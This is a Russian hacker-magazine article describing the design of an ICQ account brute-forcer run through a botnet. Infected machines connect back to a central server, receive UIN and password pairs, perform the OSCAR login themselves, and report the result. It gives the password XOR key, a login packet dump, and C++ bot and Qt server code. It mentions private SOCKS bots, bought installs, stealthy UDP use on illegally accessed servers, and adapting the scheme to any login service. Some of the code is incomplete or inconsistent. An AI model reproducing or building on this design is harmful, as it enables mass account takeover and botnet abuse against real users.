В середине 2008 года мы с человеком, скрывающимся под ником OstWay, написали SRQ Brute – брутфорс ICQ с поддержкой абсолютно нового (для ICQ) типа прокси – анонимайзеров. В то время это было революцией в бруте ICQ. Спустя два года, я думаю, настало время совершить новую революцию.

 

Общая теория

Какими же они будут, эти новые прокси, и зачем они нужны? Давай рассмотрим основные проблемы, с которыми приходится сталкиваться при бруте через обычные прокси. Предположим, что у тебя есть приватный SOCKS-бот, и есть где взять загрузки. Перед тобой встанут следующие затруднения:

  1. Очень, очень мало интернет-юзеров имеют реальный IP – IPv4-адреса подходят к концу, провайдеры сажают абонентов за NAT, откуда бот, само собой, работать не будет. Теряем много денег;
  2. 99% гарантия, что не ты один будешь использовать свои прокси – в итоге они очень быстро сдохнут, и брут будет идти медленно.

«Ну, и что же делать?», – спросишь ты. Так вот, сегодня я поведаю тебе об абсолютно новой концепции брута. Как обычно работает брутфорс? Он коннектится к прокси (SOCKS4/5 или HTTP(s)), передает им информацию, получает ответ и анализирует его. В нашем случае все будет по-другому — прокси коннектятся к брутфорсу, он вместо целого пакета логина передает только пару uin;password, и получает в ответ всего один байт – так мы уменьшаем объем переданной информации, и, следовательно, увеличиваем скорость. Пакет для логина собирается уже самой проксей, ею же анализируется ответ. Все предельно просто.

Бот будет написан на чистом C++ и WinSock (я использую MS Visual C++ 2008 Express; кстати, только ради этого проекта я держу винду), а брутфорс – на C++ с фреймворком Qt, так как будет меньше возни, быстрее написание + кроссплатформенность, что очень актуально – вдруг я захочу юзать свое творение на линуксовом или бээсдешном дедике?

 

Теория ICQ

Как происходит логин на сервер ICQ? Если брать небезопасный логин (где пароль передается в открытом виде, а нам как раз этот способ и нужен, поскольку так проще), то логин выглядит так: (здесь и далее: «->» – действие от нас, «<-» – действие со стороны сервера)

  1. -> Коннект к серверу ICQ;
  2. <- Hello-пакет. Первый байт в нем всегда равен 0x2a (как и в любом пакете ICQ);
  3. -> Отправка пакета с данными для авторизации (то есть UIN, пароль, геолокация, язык и т.д.);
  4. <- Пакет с результатами авторизации и дисконнект со стороны сервера.

Как видишь, сервер первым «здоровается» с нами. Если первый байт от сервера не равен 0x2a, значит, мы приконнектились не к тому серверу. На четвертом шаге, если мы залогинились удачно, нам приходит пакет SRV_COOKIE, содержащий адрес BOS-сервера, и, собственно, куки для авторизации. Если неудачно – пакет с описанием ошибки. В любом случае, после передачи этого пакета нас дисконнектит (пакет отправляется по каналу 0x04, то есть CLOSE_CONNECTION).

В протоколе OSCAR существуют три основных типа данных, ниже они перечислены в порядке «вложенности» – как в матрешке, начиная с самой маленькой:

  • TLV – Type, Length, Value – название говорит само за себя. Состоит из 0x02 + 0x02 + BLOB байт. В первых двух байтах указывается тип пакета, во вторых двух – длина (uint16), далее идет содержимое пакета.
  • SNAC – Simple Network Atomic Communication, состоит из family – «семейства», type – идентификатора в «семействе», флагов, requestId (последние два используются редко, обычно выставлены в 0x00) и, собственно, данных.
  • FLAP – самый «главный» тип данных, без него не обходится ни один пакет. FLAP состоит из первого байта, всегда равного 0x2a, канала (0x01 – установка соединения, 0x02 – канала данных, 0x03 – канала ошибок (практически не используется), 0x04 – закрытие соединения, 0x05 – «пинг» (KeepAlive)). Далее следуют два байта «sequence» – порядковый номер пакета, он увеличивается с каждым пакетом. Следующие 2 байта – длина содержимого, ну и, наконец,само содержимое.

Первый пакет, который мы должны отправить – CLI_IDENT:

  • TLV 0x0001 – UIN в виде строки
  • TLV 0x0002 – Пароль в «шифрованном» виде – каждый байт пароля XOR’ится соответствующим байтом из набора «\xf3\x26\x81\xc4\x39\x86\xdb\x92\x71\xa3\xb9\xe6\x53\x7a\x95\x7c»
  • TLV 0x0003 – ClientID – имя клиента, строка. «ICQ Client» либо «AIM»
  • TLV 0x0016 – два байта, номер версии клиента до первой точки
  • TLV 0x0017, 0x0018, 0x0019, 0x001A, 0x0014 – части версии клиента, по два байта
  • TLV 0x000E, 0x000F – страна и язык клиента соответственно. Строки («us», «en» или «ru», «ru», к примеру)
 

Практика

Покаюсь – на практике из описанного реализовано пока далеко не все (в связи с катастрофической нехваткой времени), поэтому статья достаточно абстрактна, однако, даже если бы проект был полностью готов, исходников прибавилось бы немного – это же коммерческая тайна!

Коннектиться к серверу мы будем по протоколу TCP (как к серверу с брутфорсом, так и к серверу ICQ). Для этого я написал небольшой класс, реализация которого абсолютно тривиальна, поэтому я покажу тебе только его объявление:

class Socket
{
public:
bool connectToHost(const char *hostName, int port);
bool sendData(const char *buff, int length);
bool receiveData(char *buff, int length);
int bytesAvailable();
void disconnectFromHost() { closesocket(sock); }

private:
SOCKET sock;

};

Один и тот же класс будет использоваться для двух объектов-сокетов. Сначала нужно приконнектиться к данному нам ICQ-серверу и проверить, является ли он ICQ-сервером:

if ( ! sock.connectToHost(“login.icq.com”, 5190) )
return false;
char buff[16];
memset(buff, 0, 16);
sock.receiveData(buff, 10);
if ( buff[0] != 0x2A ) {
   
sock.disconnectFromHost();
   
return false;
}
return true;

Далее, если все нормально – коннектимся к брутфорсу, и проверяем, а брутфорс ли это?

if ( ! sock.connectToHost(“login.icq.com”, 5190) )
return false;

if ( ! bruteSock.sendData("\xD\xE\xA\xD\xB\xE\xE\xF", 8) ) {
   
bruteSock.disconnectFromHost();
   
return false;
}

char data[8];

if ( ! bruteSock.receiveData(data, 8) || memcmp(data, "\xF\xE\xE\xB\xD\xA\xE\xD", 8) ) {
   
bruteSock.disconnectFromHost();
   
return false;
}

return true;

Если тут тоже все идет нормально – получаем UIN и пароль от сервера, и пытаемся залогиниться.

memset(uin, 0x00, UIN_LENGTH);
memset(pass, 0x00, PASS_LENGTH);

/* Receive uin & pass */
bruteSock.receiveData(uin, 9);
bruteSock.receiveData(pass, 8);
.............

Чтобы не собирать пакет CLI_IDENT вручную, я собираю его из кусков, полученных с помощью ICQMenace – все части пакета, кроме UIN и Password, статичны и одинаковы при любом раскладе.

Вот тебе полный дамп, «перегнанный» в C-style массив байт – а со сборкой пакета разбирайся сам :). Не буду раскрывать все карты, тем более тут уже указано, что и где должно быть:

const char loginData[] = "\x00\x1c\xf0\x21\xcf
\x4a\x00\x1f\xc6\xbd\x83\xdc\x08\x00\x45\x00"
"\x00\x87\x3a\xd4\x40\x00\x80\x06\xec\x16\x0a\x96\x00\x08\xcd\xbc"
"\xfb\x2b\x07\x48\x14\x46\xa6\xdd\x20\x4c\xa5\x9e\x57\xa1\x50\x18"
"\xff\xf5\x64\xd3\x00\x00\x2a\x01\x50\x31\x00\x59\x00\x00\x00\x01"
"\x00\x01\x00%d%sx00\x02\x00%d"
"%s\x00\x03\x00\x0a\x49\x43\x51\x20\x43\x6c\x69"
"\x65\x6e\x74\x00\x16\x00\x02\x01\x0a\x00\x17\x00\x02\x00\x06\x00"
"\x18\x00\x02\x00\x05\x00\x19\x00\x02\x00\x00\x00\x1a\x00\x02\x00"
"\x68\x00\x14\x00\x04\x00\x00\x75\x37\x00\x0f\x00\x02\x65\x6e\x00"
"\x0e\x00\x02\x75\x73";

Далее мы получаем данные от ICQ-сервера, сверяемся, подошел пароль или нет, и отправляем ответ серверу, к примеру, 0 – подошел, 1 – не подошел, 2 – ошибка.

 

Брутфорс

Пришло время писать серверную часть брутфорса на Qt. В Qt есть класс для создания TCP-сервера – QTcpServer. Посмотрим, какие методы нам от него потребуются:

bool listen (const QHostAddress & address = QHostAddress::Any, quint16port = 0)

Запускает прослушивание заданного порта на заданном интерфейсе. Советую оставлять интерфейс дефолтным (QHostAddress::Any) во избежание проблем с подключением.

Когда к серверу присоединяется клиент, объект генерирует сигнал:

void QTcpServer::newConnection () [signal]

Как только мы «поймаем» этот сигнал, мы можем «взять» сокет из очереди с подключенным к нему клиентом с помощью метода

QTcpSocket * QTcpServer::nextPendingConnection ()

Если в данный момент активных соединений нет, то функция вернет нулевой указатель.
Далее от нас требуется просто писать в сокет данные и читать их (поочередно), например, так:

QtcpSocket *socket = server->
nextPendingConnection();
if ( socket == NULL ) {
   
// Shaitan!!!111
   
return;
}

socket->write(QByteArray::fromHex(“DEADBEEF”);
socket->waitForReadyRead();
if ( socket->readAll() != QByteArray::fromHex(“FEEBDAED”) )
// Error
else
// success
socket->disconnectFromHost();
socket->waitForDisconnected();
delete socket;

Идем дальше. Эта функция:

bool QAbstractSocket::waitForReadyRead ( int msecs = 30000 )

позволяет создавать приложения с использованием сокетов в блокирующем режиме – она возвращает управление только после того, как на сокете появятся данные, либо истечет время, равное msecs (в миллисекундах).

Также, если мы хотим сделать все красиво и правильно, нужно дождаться отключения сокета до его удаления, то есть вызвать блокирующий метод waitForDisconnected(), и только после этого удалять объект.

Также не забудь подключить модуль QtNetwork в файле .pro. Делается это так:

QT += network

 

Заключение

Ну вот, основы я тебе объяснил, дальше дерзай сам! Что тебе осталось сделать?

  1. Собрать пакет CLI_IDENT;
  2. Принять и проанализировать ответ;
  3. Написать сервер-брутфорс – рутинная работа, про которую писали уже не раз, и справиться с которой может любой школьник.

Кстати, ответ от ICQ-сервера в любом случае приходит по четвертому каналу (CONNECTION_CLOSE). Кроме того, могу посоветовать использовать UDP-сокеты для связи бота с сервером-брутфорсом – отправка таких пакетов менее палевна из-за отсутствия лишних соединений (это пригодится в случае, если ты надумаешь брутить на не совсем легальном дедике :)). С этим тебе поможет класс QUdpSocket.

Само собой, брутить таким способом можно не только ICQ-номера; такой ботнет можно адаптировать для любого сервиса с авторизацией.

 

CD

Исходников не будет, так как, во-первых, целиком их у меня нет, во-вторых, коммерческая тайна 🙂

 

WWW

  • oscar.asechka.ru – документация OSCAR на русском языке.
 

WARNING

Информация предоставлена исключительно в ознакомительных целях.

Оставить мнение

Check Also

LUKS container vs Border Patrol Agent. Как уберечь свои данные, пересекая границу

Не секрет, что если ты собрался посетить такие страны как США или Великобританию то, прежд…